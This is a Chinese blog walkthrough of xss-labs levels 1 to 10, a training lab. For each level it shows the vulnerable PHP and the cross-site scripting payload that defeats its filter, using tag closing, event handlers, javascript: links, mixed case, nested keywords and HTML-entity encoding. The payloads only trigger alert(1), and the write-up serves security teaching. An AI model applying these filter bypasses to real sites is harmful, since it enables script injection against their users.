xss-labs 1-10关

第一关
查看源码
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
这一关没有任何防御,我们直接构造xss语句进行注入。
<script>alert(1)</script>
第二关
查看源码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
在网页源代码中,我们输入的数据,是在表单中的value属性内,所以需要先闭合input标签,然后再注入代码。
"><script>alert(1)</script>
本关在h2标签中有防御机制,但是在input中是没有的,所以可以在input中注入。
 
第三关
查看源码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>    
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
输入script,”<“会被转换为html编码,所以这一关无法采用标签,因为标签都是带有"<"的,因此采用事件,需要闭合标签的属性。
onclick事件触发 
">'onclick='alert(1)
所有的地方都被htmlspecialchars函数过滤了,该函数可以过滤“<”“>”““ ”,但是不会过滤单引号,而且value的闭合也是采用单引号,所以会有xss漏洞 。
本关所有的地方有都防御机制,所以需要绕过该防御机制,因此采用事件方法,并且使用单引号闭合,这样就可以绕过函数的html实体化。
第四关
查看源码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
先试探防御机制,发现value值中把“<”过滤了,所以采用事件注入。
"onclick="alert(1)"
本关的防御机制是过滤了尖括号,html标签必须采用的“<”,单号没有考虑事件。
 
第五关
查看源码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);               将数据转化为小写
$str2=str_replace("<script","<scr_ipt",$str);      将script转化为scr_ipt
$str3=str_replace("on","o_n",$str2);               将on转化为o_n
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
先试探防御机制,这一关把script转换为scr_ipt,所以考虑绕过该机制。 然后发现on也被过滤了,而且所有的事件属性都是带有on的,所以在此处无法采用事件。
采用标签
a标签的href属性
<a href=‘javascript:alert(1)’>

第六关

查看源码

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];                    并没有过滤大小写
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
分析源码我们发现对事件,标签都有过滤,但并没有过滤大小写。我们可以尝试换成大写后大小写混合就可以。
"><SCRIPT>alert(1)</SCRIPT>                      "><a HREF="javascript:alert(1)"
第七关
查看源码
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);           将数据转化为小写
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
先试探防御机制,我们发现script被过滤了
<>alert(1)</>
我们采用嵌套的方法
<scscript>alert(1)</scscript>
发现可以使用,然后我们构造闭合
"><scscriptript>alert(1)</scscriptript>
若采用事件注入,也是同样的方法。
 
"oonnclick="alert(1)"

第八关

查看源码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
通过试探,发现无法构造闭合,原因是采用了htmlspecialchars($str)函数,而且闭合方式是双引号,所以input中无法注入,但是在连接里面是有地方可以注入的,首先是试探是否有防御机制:
<scr_ipt>alert(1)</scr_ipt>    
对script,事件,标签都做了过滤
我们尝试用复写绕过,发现还是没有办法
<scscript>alert(1)</scscript>
那我们进行编码尝试 (采用html实体编码)
 
&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x0a;&#x0a;&#x0a;&#x0a;&#x0a;&#x0a;&#x0a;
现在就ok了。
第九关
查看源码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))    进行判断有没有,strpos() 函数查找字符串在另一字符串中第一次出现的位置。
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
我们向之前一样进行xss注入,发现都是下图的结果
 
查看源码我们发现和之前的一样,过滤了大小写和其他的语句,但不一样的是多了一个strpos()函数    (strpos()函数查找字符串在另一字符串中第一次出现的位置)
其他办法都不行我们尝试编码,我们使用Unicode工具转码。
 
但是输入转码后的内容后我们发现还是和之前的情况一样,分析源码后得知问题出现在strpos()这个函数上,它会通过strpos()函数查询我们有没有输入http://,没有的话就会跳转到之前的那个页面。
现在我们就可以构造语句来进行xss注入了
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://
我们也可以使用字符实体编码构造语句
javasc&#x72;ipt:alert(1)//http://
第十关
 
没有输入框,也没有超链接了。不过可以观察到页面的输出和url中的keyword参数有关。
查看源码发现有三个不同的参数
 
我们将这三个参数传过去
 
发现只有t_sort这个参数可以利用
 
我们利用t_sort这个参数来写入恶意代码
 
t_sort=" onclick=alert(1) type="text"
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值